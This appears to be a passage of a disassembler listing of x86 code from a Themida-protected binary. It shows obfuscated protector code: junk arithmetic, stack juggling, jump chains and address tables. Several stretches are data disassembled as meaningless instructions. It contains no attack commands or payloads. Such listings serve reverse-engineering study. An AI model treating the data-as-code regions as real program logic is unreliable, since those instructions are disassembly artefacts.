pop ecx
add al, 0DFh
push ebx
jmp loc_583DF8
; ---------------------------------------------------------------------------
loc_58DF15: ; CODE XREF: Themida_:00581A55j
mov ebp, 0D76CE189h
sub esi, ebp
jmp loc_587EEE
; ---------------------------------------------------------------------------
loc_58DF21: ; CODE XREF: Themida_:005896F1j
push 1B3Bh
mov [esp], esi
push ebx
mov ebx, 1
push esi
jmp loc_589904
; ---------------------------------------------------------------------------
loc_58DF35: ; CODE XREF: Themida_:0058A1B0j
xor ebp, edx
xor edx, ebp
add edx, 452336BCh
sub eax, edx
jmp loc_585326
; ---------------------------------------------------------------------------
loc_58DF46: ; CODE XREF: Themida_:00583009j
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_5834C9
; ---------------------------------------------------------------------------
push 786h
mov [esp], esi
push 0FEh
pop esi
jmp loc_585D98
; ---------------------------------------------------------------------------
loc_58DF65: ; CODE XREF: Themida_:00584831j
xor al, bl
push 4220h
mov [esp], ecx
jmp loc_58CD8D
; ---------------------------------------------------------------------------
loc_58DF74: ; CODE XREF: Themida_:005854AEj
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_586712
; ---------------------------------------------------------------------------
loc_58DF88: ; CODE XREF: Themida_:0058BCC4j
mov eax, 7D7745C9h
xor eax, 6D5B4E1Fh
inc eax
push edi
mov edi, 19154C1Ch
jmp loc_58B9C2
; ---------------------------------------------------------------------------
loc_58DF9E: ; CODE XREF: Themida_:0058288Bj
add edx, eax
pop eax
xchg edx, [esp]
pop esp
push edx
push 36FEh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5826C7
; ---------------------------------------------------------------------------
loc_58DFBB: ; CODE XREF: Themida_:00587468j
push ebx
mov ebx, 46774A82h
push esi
mov esi, 662A071Ah
add esi, 0D5110C1Ah
or ebx, esi
pop esi
add ebx, 8A909FCh
sub ebx, 61867ADEh
jmp loc_5858AE
; ---------------------------------------------------------------------------
loc_58DFE1: ; CODE XREF: Themida_:0058C403j
add edi, 106F5CE9h
push 3375h
mov [esp], ebp
mov ebp, 15C6357Fh
shr ebp, 6
push ecx
mov ecx, 7A81E37h
or ebp, ecx
jmp loc_589633
; ---------------------------------------------------------------------------
loc_58E004: ; CODE XREF: Themida_:00583548j
push 626E5171h
jmp loc_58BA1E
; ---------------------------------------------------------------------------
loc_58E00E: ; CODE XREF: Themida_:0058316Cj
pop cx
shl dl, 8
jmp loc_58DEB4
; ---------------------------------------------------------------------------
loc_58E018: ; CODE XREF: Themida_:0058AD44j
push esp
pop dword ptr [esp]
push edx
mov edx, 4
add [esp+4], edx
pop edx
jmp loc_58AA2E
; ---------------------------------------------------------------------------
dd 0FA429A2Fh, 5E73E9h, 58274E41h, 7C90EB94h, 5ED535h
dd 12FF4Ch, 5E68BCh, 213h, 2, 1, 5, 0FA429A2Fh, 5 dup(0)
dd offset loc_5A046A
dd offset off_597B6E
dd offset loc_59C58A
dd offset loc_59B026
dd offset loc_59F83D
dd offset loc_58E486
dd offset loc_598578
dd offset loc_59ABF9
dd offset loc_59D955
dd offset loc_59FB44
dd offset loc_59D68F
dd offset loc_597440
dd offset loc_59EDF0
dd offset loc_596920
dd offset loc_592449
dd offset loc_59E158
dd offset loc_597CE3
dd offset loc_59CC0C
dd offset loc_5956DE
dd offset loc_59F633
dd offset loc_5A2187
dd offset loc_5A09E9
dd offset loc_593F04
; ---------------------------------------------------------------------------
sar dh, 58h
add ch, al
mov edi, 0B9350059h
pop ecx
add [ebx+400059A0h], al
jno short loc_58E138
add [eax+59h], dl
add [eax+4E0059CAh], al
add bl, [edx+0]
mov dl, 12h
pop edx
add [edi], ch
sub al, 59h
add cl, ch
pop ss
pop edx
add [ebx], ah
mov ebx, 892B0059h
pop ecx
add [edi+ebp], bl
pop ecx
add [ecx], bh
db 2Eh
pop edx
add [edi], bh
jmp short near ptr loc_58E163+1
; ---------------------------------------------------------------------------
align 4
dd offset loc_59FEB0
dd offset loc_59E187
dd offset aN_uacWsWcmrFN1 ; "-_UAc)ØWS»WcŒr¿(FÅn1ß[h-("
dd offset sub_59D30F
dd offset sub_59C407
dd offset sub_5A0246
dd offset sub_59EDCD
dd offset sub_59428C
dd offset sub_591554
dd offset sub_59FB2D
dd offset sub_59F235
; ---------------------------------------------------------------------------
loc_58E138: ; CODE XREF: Themida_:0058E0DDj
scasd
setalc
pop ecx
add dh, ah
out dx, eax
pop eax
add [eax+6A00595Ah], dl
insb
pop ecx
add al, dh
rep pop eax
add [ebx+16h], al
pop edx
add [ebx-39h], ah
pop ecx
add [eax+2], dl
pop ecx
add [ebx-1FFA6F1h], bh
sbb dword ptr [ecx+0], 5Ah
xchg eax, ebp
pop ecx
loc_58E163: ; CODE XREF: Themida_:0058E109j
add [ebp-78h], al
pop ecx
add dh, dh
pop es
pop ecx
add [ecx+ebx*8+13170059h], bh
pop edx
add [edi+10h], ch
pop ecx
add [edi], cl
out 58h, eax
add [ebx], bh
inc esi
pop ecx
add dl, ah
lahf
pop ecx
add [ecx-49FFA679h], cl
mov dh, 59h
add [ebp+720058E9h], dl
setalc
pop ecx
add [edi], dl
loc_58E195: ; CODE XREF: Themida_:0058E1F8j
test eax, 395C0059h
pop ecx
add [ebp-2AFFA60Eh], bh
adc eax, 5D20059h
pop ecx
add al, bh
db 26h
pop edx
add [edx-65FFA659h], dh
call fword ptr [eax+0]
pop ebp
rcr dword ptr [ecx+0], cl
out dx, eax
mov ebx, 0FF2D0059h
pop ecx
add [eax], ah
test [ecx+0], ebx
add edx, [ebx+59h]
add [eax+1], cl
pop edx
add [esp+eax*4+59h], al
add al, bl
and [edx+0], bl
mov eax, es:62440059h
pop ecx
add [esi], dh
outsd
pop ecx
add [edi-72h], bl
pop ecx
add [eax-50h], dh
pop ecx
add [ebx-2Fh], ch
pop ecx
add [ebx-5Fh], bl
pop ecx
add [edi+3Eh], al
pop ecx
add ah, bl
adc ebx, [edx+0]
ja short loc_58E195
pop ecx
add ch, ah
lea ebx, [ecx+0]
mov bl, 0B4h
pop ecx
add [ecx+90059D0h], ch
or eax, 0C48F005Ah
pop ecx
add bh, dl
db 64h
pop ecx
add al, cl ; CODE XREF: Themida_:0058E238j
jb short loc_58E270
add [edi-23FFA64Eh], bh
mov edx, 14400059h
pop edx
add [esp+eax+33FB0059h], al
pop ecx
add [edx+20h], al
pop edx
add [edx+470059A3h], bh
fistp dword ptr [ecx+0]
jmp short near ptr loc_58E213+1
; ---------------------------------------------------------------------------
dw 59h
dd offset loc_59C31C
dd offset loc_59827B
dd offset loc_598B88
dd offset loc_5941A9
dd offset dword_5964B8
dd offset loc_594E98
dd offset loc_58E9EC
dd offset loc_598035
dd offset loc_59601A
dd offset loc_59CFD5
; ---------------------------------------------------------------------------
rcr dword ptr [ebp+59h], 0
sbb [edx], ah
pop edx
add cl, dl
lea ebx, [ecx+0]
loc_58E270: ; CODE XREF: Themida_:0058E215j
jl short near ptr loc_58E27F+2
pop ecx
add [edx+0A00598Eh], bh
and [ecx+0], ebx
test edx, edx
pop ecx
loc_58E27F: ; CODE XREF: Themida_:loc_58E270j
add [eax-66h], bl
pop ecx
add ds:0FDA0059h[eax*8], bl
pop ecx
add [esi], dl
sbb eax, 0AC9A0059h
pop ecx
add bh, bl
xchg ebx, [ecx+0]
mov dh, 0D4h
pop ecx
add [eax+eax-25E1FFA7h], bh
pop ecx
add [ebp+8005A29h], ah
imul ebx, [ecx+0], 4Fh
fstp qword ptr [ecx+0]
rol edi, cl
pop ecx
add [ecx], ah
pop eax
pop ecx
add bl, dl
xor [edx+0], ebx
xor dh, ds:30840059h
pop edx
add [esi-7EFFA66Ah], ah
pop edx
pop ecx
add [ecx], ch
or eax, 0D34F005Ah
pop ecx
add [esi], al
cli
pop eax
add [ebp-26FFA621h], bh
scasd
pop ecx
add [esi+1Ah], dl
pop ecx
add ds:8E005949h, dl
mov edi, 4D40059h
pop ecx
add ds:0E5005941h, bh
sbb [edx+0], bl
sbb [ebx], cl
pop edx
add [edi+20h], al
pop ecx
add [edx], dl
iret
; ---------------------------------------------------------------------------
dw 59h
dd offset loc_58FB97
dd offset loc_5A1711
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5E67F9
loc_58E30C: ; CODE XREF: Themida_:005D45BEj
; sub_5E67F9+ECj ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 61648E5h
mov eax, edi
add edi, 61645FDh
cmp eax, [edi+2Ch]
jnz short loc_58E32A
jmp short loc_58E33D
; ---------------------------------------------------------------------------
loc_58E32A: ; CODE XREF: sub_5E67F9-584D3j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_58E339
; ---------------------------------------------------------------------------
loc_58E334: ; CODE XREF: sub_5E67F9-584BEj
add [edi+ecx*4+40h], eax
dec ecx
loc_58E339: ; CODE XREF: sub_5E67F9-584C7j
or ecx, ecx
jnz short loc_58E334
loc_58E33D: ; CODE XREF: sub_5E67F9-584D1j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_58E34A: ; CODE XREF: sub_5E67F9-584A8j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_58E34A
; END OF FUNCTION CHUNK FOR sub_5E67F9
; START OF FUNCTION CHUNK FOR sub_590877
loc_58E353: ; CODE XREF: Themida_:0058E417j
; Themida_:0058E424j ...
lodsb
jmp loc_598255
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_58E359: ; CODE XREF: Themida_:00597CA5j
sub ebx, 417CEFBh
jmp loc_5A0952
; ---------------------------------------------------------------------------
loc_58E364: ; CODE XREF: Themida_:00592477j
add esp, 4
std
jmp loc_58FBEE
; ---------------------------------------------------------------------------
loc_58E370: ; CODE XREF: Themida_:0059A6D4j
or esi, 40536CB2h
sub esi, 48E005D6h
sub esi, 91B69E0h
add edx, esi
pop esi
add edx, 4
xchg edx, [esp]
jmp loc_5A32B4
; ---------------------------------------------------------------------------
loc_58E393: ; CODE XREF: Themida_:0059AC48j
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_59F0E3
; ---------------------------------------------------------------------------
loc_58E39F: ; CODE XREF: Themida_:0059DB42j
mov [esp], eax
mov ah, 32h
mov dl, ah
jmp loc_58EA2A
; ---------------------------------------------------------------------------
loc_58E3AB: ; CODE XREF: Themida_:0059696Ej
add ebp, 67704460h
pop ebx
sub esp, 4
mov [esp], ecx
jmp loc_59987B
; ---------------------------------------------------------------------------
loc_58E3C0: ; CODE XREF: Themida_:0059FD43j
neg ebp
and ebp, 30163A31h
jmp loc_5A2F6A
; ---------------------------------------------------------------------------
loc_58E3CD: ; CODE XREF: Themida_:0059715Fj
xor eax, esi
pop esi
push ebp
mov ebp, 663B1D10h
jmp loc_59B3F9
; ---------------------------------------------------------------------------
loc_58E3DB: ; CODE XREF: Themida_:0059B0FAj
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
add edx, 4
push ebx
push 1F2Bh
mov [esp], ebp
push 3A93652Ch
mov ebp, [esp]
jmp loc_593E2A
; ---------------------------------------------------------------------------
loc_58E40A: ; CODE XREF: Themida_:00593C5Dj
push edx
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp]
pop esp
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58E41C: ; CODE XREF: Themida_:0059CE43j
pop dword ptr [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58E429: ; CODE XREF: Themida_:005A2FEAj
mov esi, 4
mov ebp, esi
pop esi
add edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A20E4
; ---------------------------------------------------------------------------
loc_58E44B: ; CODE XREF: Themida_:0059D5F4j
push 0
pop ebx
sub ebx, 69907FFFh
push edx
mov edx, 69EF2F10h
sub ebx, edx
pop edx
jmp loc_592E7A
; ---------------------------------------------------------------------------
loc_58E465: ; CODE XREF: Themida_:00599991j
pop esi
xor ebx, 5114593Ch
jmp loc_596BE0
; ---------------------------------------------------------------------------
loc_58E471: ; CODE XREF: Themida_:00598207j
add esp, 4
jmp loc_59F82E
; ---------------------------------------------------------------------------
loc_58E479: ; CODE XREF: Themida_:0058E53Ej
mov esp, [esp]
push 6DF5h
jmp loc_596694
; ---------------------------------------------------------------------------
loc_58E486: ; DATA XREF: Themida_:0058E084o
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push 409h
mov [esp], esi
push 5621h
mov [esp], esp
sub esp, 4
mov [esp], ebp
push 50EBh
mov [esp], ebx
jmp loc_59F065
; ---------------------------------------------------------------------------
loc_58E4B3: ; CODE XREF: Themida_:00597404j
sub ebx, 780143A2h
add ebx, 593863F1h
add ebx, esi
sub ebx, 593863F1h
add ebx, 780143A2h
pop esi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58E4E4: ; CODE XREF: Themida_:005A0B96j
add ebp, 73FA37E8h
add ebp, 4A74318Ah
jmp loc_5A1D43
; ---------------------------------------------------------------------------
loc_58E4F5: ; CODE XREF: Themida_:0059D294j
add eax, 1DC853D1h
sub eax, 9BB2EE2h
sub eax, edx
add eax, 9BB2EE2h
sub eax, 1DC853D1h
pop edx
add eax, 6FFB08ADh
jmp loc_599639
; ---------------------------------------------------------------------------
loc_58E516: ; CODE XREF: Themida_:0059C50Fj
push edx
jmp loc_592695
; ---------------------------------------------------------------------------
loc_58E51C: ; CODE XREF: Themida_:005A1933j
xor esi, 4AE63FF6h
neg esi
push eax
mov eax, 0B3DE9AA4h
sub esi, eax
pop eax
sub ecx, esi
pop esi
jmp loc_59EE67
; ---------------------------------------------------------------------------
loc_58E535: ; CODE XREF: Themida_:0059E446j
add esi, 4
xchg esi, [esp]
jmp loc_58E479
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596B96
loc_58E543: ; CODE XREF: sub_596B96+BCECj
mov edi, 4
jmp loc_59C045
; END OF FUNCTION CHUNK FOR sub_596B96
; ---------------------------------------------------------------------------
loc_58E54D: ; CODE XREF: Themida_:0059A4B7j
pop ecx
add esp, 4
pop eax
push ebx
push ecx
jmp loc_5930FA
; ---------------------------------------------------------------------------
loc_58E55C: ; CODE XREF: Themida_:0059935Aj
push 5D31FDAh
push dword ptr [esp]
pop edx
add esp, 4
push ecx
sub esp, 4
mov [esp], edx
mov edx, 0
jmp loc_595029
; ---------------------------------------------------------------------------
loc_58E57F: ; CODE XREF: Themida_:0059C9E9j
add ebx, 65D80409h
add ebx, edx
sub ebx, 65D80409h
pop edx
push ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_58FCB8
; ---------------------------------------------------------------------------
loc_58E5A2: ; CODE XREF: Themida_:00599D9Ej
add ebp, edx
pop edx
jmp loc_596582
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_58E5AA: ; CODE XREF: sub_59FCFF-F577j
mov [esp+0], cx
jmp loc_58E353
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_58E5B3: ; CODE XREF: Themida_:005A0241j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58E5B8: ; CODE XREF: Themida_:0058EF42j
xor eax, ecx
xor eax, ecx
jmp loc_593FC7
; ---------------------------------------------------------------------------
loc_58E5C1: ; CODE XREF: Themida_:005957FDj
mov edx, 1
sub ebp, edx
pop edx
xor ebp, 20A10F3h
or edx, ebp
mov ebp, [esp]
add esp, 4
push 235Dh
mov [esp], ecx
jmp loc_590C8F
; ---------------------------------------------------------------------------
loc_58E5E4: ; CODE XREF: Themida_:005A2832j
mov [esp], esi
push edi
jmp loc_592384
; ---------------------------------------------------------------------------
loc_58E5ED: ; CODE XREF: Themida_:0058FA7Fj
add [esp+4], eax
jmp loc_59C30B
; ---------------------------------------------------------------------------
loc_58E5F6: ; CODE XREF: Themida_:005973DBj
sub esp, 4
jmp loc_5A107A
; ---------------------------------------------------------------------------
loc_58E601: ; CODE XREF: Themida_:00594B2Aj
add eax, esi
pop esi
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_594477
; ---------------------------------------------------------------------------
loc_58E616: ; CODE XREF: Themida_:005A1CFFj
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 0
jmp loc_598BD0
; ---------------------------------------------------------------------------
loc_58E62F: ; CODE XREF: Themida_:005A2D85j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 0C9Dh
mov [esp], ebp
push esp
jmp loc_5A2B59
; ---------------------------------------------------------------------------
loc_58E64C: ; CODE XREF: Themida_:0059D30Aj
add ecx, eax
add ecx, 124603Ch
mov eax, [esp]
jmp loc_59CE0A
; ---------------------------------------------------------------------------
loc_58E65C: ; CODE XREF: Themida_:0058F568j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
add [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_58E66F: ; CODE XREF: sub_59DA2F-7045j
mov ch, 47h
shr ch, 1
jmp loc_59E110
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCFF
loc_58E678: ; CODE XREF: sub_59FCFF-C2E2j
add esi, 7CEB113Ch
shl esi, 5
dec esi
push 7EBCh
mov [esp+10h+var_10], ecx
mov ecx, 5FDC77C0h
shl ecx, 3
and ecx, 49974322h
or ecx, 2D4455B5h
push eax
mov eax, 5CD42D48h
and ecx, eax
jmp loc_5A0BA3
; END OF FUNCTION CHUNK FOR sub_59FCFF
; ---------------------------------------------------------------------------
loc_58E6AB: ; CODE XREF: Themida_:005A1CA2j
add esp, 4
pop ecx
push edi
mov edi, 4
add edx, 6326BBh
add edx, edi
sub esp, 4
jmp loc_5A2CD4
; ---------------------------------------------------------------------------
loc_58E6C5: ; CODE XREF: Themida_:0059E0A0j
dec ebp
jmp loc_5A18AF
; ---------------------------------------------------------------------------
loc_58E6CB: ; CODE XREF: Themida_:00591DEEj
pop ecx
add esp, 4
shl edi, 6
neg edi
and edi, 2C897D21h
inc edi
add edi, 8E7AB9D3h
jmp loc_5999C9
; ---------------------------------------------------------------------------
loc_58E6E9: ; CODE XREF: Themida_:00596873j
mov edx, 17A63F93h
jmp loc_59A035
; ---------------------------------------------------------------------------
loc_58E6F3: ; CODE XREF: Themida_:0059F230j
mov ecx, 61CA77AFh
and ecx, 5EA66B5Eh
or ecx, 14AB0FC8h
xor ecx, 67BD631Bh
jmp loc_59DA9E
; ---------------------------------------------------------------------------
push 4CA1h
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_59B3D6
; ---------------------------------------------------------------------------
loc_58E724: ; CODE XREF: Themida_:0059684Aj
add esp, 4
pop ecx
jmp loc_59F532
; ---------------------------------------------------------------------------
loc_58E72D: ; CODE XREF: Themida_:005997E2j
sub ebp, 0B9536393h
add esi, ebp
pop ebp
sub esi, 1
xor esi, 70A05551h
push esi
mov eax, [esp]
jmp loc_5A10AC
; ---------------------------------------------------------------------------
loc_58E74B: ; CODE XREF: Themida_:005A2054j
pop dword ptr [esp]
push eax
mov eax, 4
add [esp+4], eax
jmp loc_598D4D
; ---------------------------------------------------------------------------
loc_58E75D: ; CODE XREF: Themida_:0058F32Dj
pop esi
sub eax, 3F027405h
add eax, edi
push ebp
mov ebp, 44B847CDh
xor ebp, 7BBA33C8h
add eax, ebp
pop ebp
push edx
push ebp
push esi
mov esi, 3B5E6ACAh
jmp loc_597126
; ---------------------------------------------------------------------------
loc_58E781: ; CODE XREF: Themida_:0059819Dj
pop esi
push ecx
mov ecx, 43A8705Ch
dec ecx
or ecx, 485E030Eh
dec ecx
dec ecx
sub ecx, 0B4B207Ch
add esi, 0B9D474Ch
sub esi, ecx
sub esi, 0B9D474Ch
pop ecx
jmp loc_595AAF
; ---------------------------------------------------------------------------
loc_58E7AB: ; CODE XREF: Themida_:00594074j
sub esp, 4
mov [esp], eax
mov eax, esi
push 6611h
mov [esp], eax
xor dword ptr [esp], 4CEB6DF3h
pop edi
push edx
mov edx, 25235A83h
shr edx, 1
dec edx
jmp loc_595C47
; ---------------------------------------------------------------------------
loc_58E7D4: ; CODE XREF: Themida_:00590D80j
pop esi
add esp, 4
sub ebx, esi
mov esi, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_598BB0
; ---------------------------------------------------------------------------
loc_58E7F1: ; CODE XREF: Themida_:005A0FFEj
dec edi
sub esp, 4
mov [esp], ebp
jmp loc_591A7E
; ---------------------------------------------------------------------------
loc_58E800: ; CODE XREF: Themida_:0059A692j
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_59A9F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B86E
loc_58E816: ; CODE XREF: sub_59B86E-B08j
pop ebp
push eax
mov eax, 4
add ebp, eax
pop eax
add ebp, 4
xor ebp, [esp+8+var_8]
xor [esp+8+var_8], ebp
xor ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
pop [esp+4+var_4]
jmp sub_59D110
; END OF FUNCTION CHUNK FOR sub_59B86E
; ---------------------------------------------------------------------------
loc_58E837: ; CODE XREF: Themida_:0058FA42j
xor esi, 258F36B7h
push edi
mov edi, 1582638Ah
xor esi, edi
pop edi
or edx, esi
pop esi
push ecx
jmp loc_58F9B8
; ---------------------------------------------------------------------------
loc_58E84F: ; CODE XREF: Themida_:00592408j
add al, bh
add al, 27h
mov ebx, [esp]
add esp, 4
push bx
mov bh, 57h
jmp loc_5995F7
; ---------------------------------------------------------------------------
loc_58E862: ; CODE XREF: Themida_:00593AF7j
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5A2EAD
; ---------------------------------------------------------------------------
loc_58E86D: ; CODE XREF: Themida_:0058ED3Bj
add esp, 4
push eax
jmp loc_59E2F0
; ---------------------------------------------------------------------------
loc_58E876: ; CODE XREF: Themida_:0058EAD9j
push ebp
mov ebp, 1
add edi, ebp
pop ebp
sub edi, 2AEB3686h
jmp loc_5A2467
; ---------------------------------------------------------------------------
loc_58E88A: ; CODE XREF: Themida_:005A05ADj
xor ecx, ebx
pop ebx
mov edx, ecx
pop ecx
add edx, 37693D44h
add edx, eax
jmp loc_599D84
; ---------------------------------------------------------------------------
loc_58E89D: ; CODE XREF: Themida_:0059B438j
xor [esp], bh
xor bh, [esp]
xor [esp], bh
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58E8AB: ; CODE XREF: Themida_:005910FAj
push eax
mov eax, 48C6348Bh
xor eax, 3E7A414Ch
mov ecx, eax
pop eax
sub eax, ecx
mov ecx, [esp]
add esp, 4
sub eax, 1AF7016Bh
add eax, 98B1DA1h
add eax, edi
jmp loc_59C615
; ---------------------------------------------------------------------------
loc_58E8D5: ; CODE XREF: Themida_:00590758j
mov dl, 62h
add dl, 67h
jmp loc_59D8E2
; ---------------------------------------------------------------------------
loc_58E8DF: ; CODE XREF: Themida_:0059B4FCj
mov [esp], edi
mov edi, 33AE4EECh
add edi, 5F233868h
shr edi, 1
push ebx
jmp loc_599203
; ---------------------------------------------------------------------------
loc_58E8F5: ; CODE XREF: Themida_:005961E8j
pop ecx
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_597E93
; ---------------------------------------------------------------------------
loc_58E90C: ; CODE XREF: Themida_:0059F7A6j
add edi, 72712D2Ch
jmp loc_5A2BE8
; ---------------------------------------------------------------------------
loc_58E917: ; CODE XREF: Themida_:00598680j
add dl, 38h
jmp loc_59248B
; ---------------------------------------------------------------------------
loc_58E91F: ; CODE XREF: Themida_:00593828j
inc edx
dec edx
add edx, 2B4BD6F5h
jmp loc_5998E4
; ---------------------------------------------------------------------------
loc_58E92C: ; CODE XREF: Themida_:00593AD3j
mov [esp], ebp
jmp loc_592A4E
; ---------------------------------------------------------------------------
loc_58E934: ; CODE XREF: Themida_:005905B0j
pop ebp
not edx
push 4940h
mov [esp], ebp
mov ebp, 7388034Bh
shr ebp, 8
add ebp, 0BD089A2h
sub edx, ebp
pop ebp
add edx, 0C5B20111h
sub ebp, 406F2C5Ah
add ebp, edx
add ebp, 406F2C5Ah
jmp loc_591F42
; ---------------------------------------------------------------------------
loc_58E969: ; CODE XREF: Themida_:00594143j
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push 4095h
jmp loc_59F882
; ---------------------------------------------------------------------------
loc_58E97F: ; CODE XREF: Themida_:0059B523j
add ch, 0C3h
add ch, 0A6h
jmp loc_594417
; ---------------------------------------------------------------------------
loc_58E98A: ; CODE XREF: Themida_:0059F6D1j
add ecx, 451059Dh
jmp loc_592165
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push small 3FFBh
mov [esp], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58E9A7: ; CODE XREF: Themida_:0059F171j
mov ecx, 40E56F2Dh
sub edx, ecx
jmp loc_5A0B2E
; ---------------------------------------------------------------------------
loc_58E9B3: ; CODE XREF: Themida_:0059AADAj
and edx, ebp
mov ebp, [esp]
add esp, 4
dec edx
shr edx, 8
shl edx, 1
jmp loc_596BC8
; ---------------------------------------------------------------------------
loc_58E9C9: ; CODE XREF: Themida_:0058FE40j
add esp, 4
jmp loc_58F19F
; ---------------------------------------------------------------------------
loc_58E9D1: ; CODE XREF: Themida_:005913E0j
add ebx, 4
jmp loc_593233
; ---------------------------------------------------------------------------
loc_58E9DC: ; CODE XREF: Themida_:0059A112j
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_59E097
; ---------------------------------------------------------------------------
loc_58E9EC: ; DATA XREF: Themida_:0058E254o
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58E9FB: ; CODE XREF: Themida_:0059A1D4j
add esp, 4
push ax
jmp loc_591CE5
; ---------------------------------------------------------------------------
loc_58EA05: ; CODE XREF: Themida_:0059D5CFj
pop eax
xchg esi, [esp]
mov esp, [esp]
add esp, 4
push dword ptr [esp]
pop eax
push edi
push 201Ch
jmp loc_590320
; ---------------------------------------------------------------------------
loc_58EA21: ; CODE XREF: Themida_:0059BC21j
pop small word ptr [esp]
jmp loc_590075
; ---------------------------------------------------------------------------
loc_58EA2A: ; CODE XREF: Themida_:0058E3A6j
mov eax, [esp]
push 7DA4h
jmp loc_5A0F19
; ---------------------------------------------------------------------------
loc_58EA37: ; CODE XREF: Themida_:0059DC38j
pop ebp
push esi
mov esi, 4546241Eh
xor esi, 58306BC8h
push edi
jmp loc_58FE55
; ---------------------------------------------------------------------------
loc_58EA4A: ; CODE XREF: Themida_:0059730Dj
sub ebx, 75346506h
jmp loc_5A0E2C
; ---------------------------------------------------------------------------
loc_58EA55: ; CODE XREF: Themida_:0059F8E7j
push ebp
push esp
jmp loc_590032
; ---------------------------------------------------------------------------
loc_58EA5C: ; CODE XREF: Themida_:00590584j
push ebx
jmp loc_5A19FB
; ---------------------------------------------------------------------------
loc_58EA62: ; CODE XREF: Themida_:005A2CEAj
push ecx
mov ecx, 321663ABh
jmp loc_59BBAE
; ---------------------------------------------------------------------------
loc_58EA6D: ; CODE XREF: Themida_:0059A76Aj
add eax, edx
mov edx, [esp]
add esp, 4
xor eax, 59566EB2h
sub edx, 6B616F0h
sub edx, 24144087h
jmp loc_59D8FA
; ---------------------------------------------------------------------------
loc_58EA8B: ; CODE XREF: Themida_:00598744j
mov eax, 4
add esi, eax
pop eax
jmp loc_58FBF8
; ---------------------------------------------------------------------------
loc_58EA98: ; CODE XREF: Themida_:00593378j
sub [esp], eax
add dword ptr [esp], 3226732Eh
push edx
jmp loc_597AF3
; ---------------------------------------------------------------------------
loc_58EAA8: ; CODE XREF: Themida_:00598963j
pop ebp
add edx, 0FDE846BEh
jmp loc_59441F
; ---------------------------------------------------------------------------
loc_58EAB4: ; CODE XREF: Themida_:0059B8E7j
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ebx
push eax
mov eax, 61541C08h
add [esp+4], eax
jmp loc_59356A
; ---------------------------------------------------------------------------
loc_58EACD: ; CODE XREF: Themida_:005A06A9j
push ebp
jmp loc_592D0E
; ---------------------------------------------------------------------------
loc_58EAD3: ; CODE XREF: Themida_:005A13CFj
add edi, 1EF72C7Ah
jmp loc_58E876
; ---------------------------------------------------------------------------
loc_58EADE: ; CODE XREF: Themida_:0059F73Fj
pop ebx
sub ecx, edi
xchg ecx, edi
jmp loc_59214C
; ---------------------------------------------------------------------------
loc_58EAE8: ; CODE XREF: Themida_:0059A3E4j
mov [esp], edi
pop edx
jmp loc_590A5C
; ---------------------------------------------------------------------------
loc_58EAF1: ; CODE XREF: Themida_:0059905Dj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5A022D
; ---------------------------------------------------------------------------
loc_58EB02: ; CODE XREF: Themida_:00591C64j
add ebp, edi
jmp loc_59B21D
; ---------------------------------------------------------------------------
loc_58EB09: ; CODE XREF: Themida_:00591D50j
add edx, ecx
push 252Ah
mov [esp], ebp
mov ebp, 3BA64284h
shr ebp, 6
xor ebp, 189DA039h
add edx, ebp
mov ebp, [esp]
add esp, 4
pop ecx
push edi
mov edi, 4
add edx, edi
pop edi
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push ebp
push 3941h
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
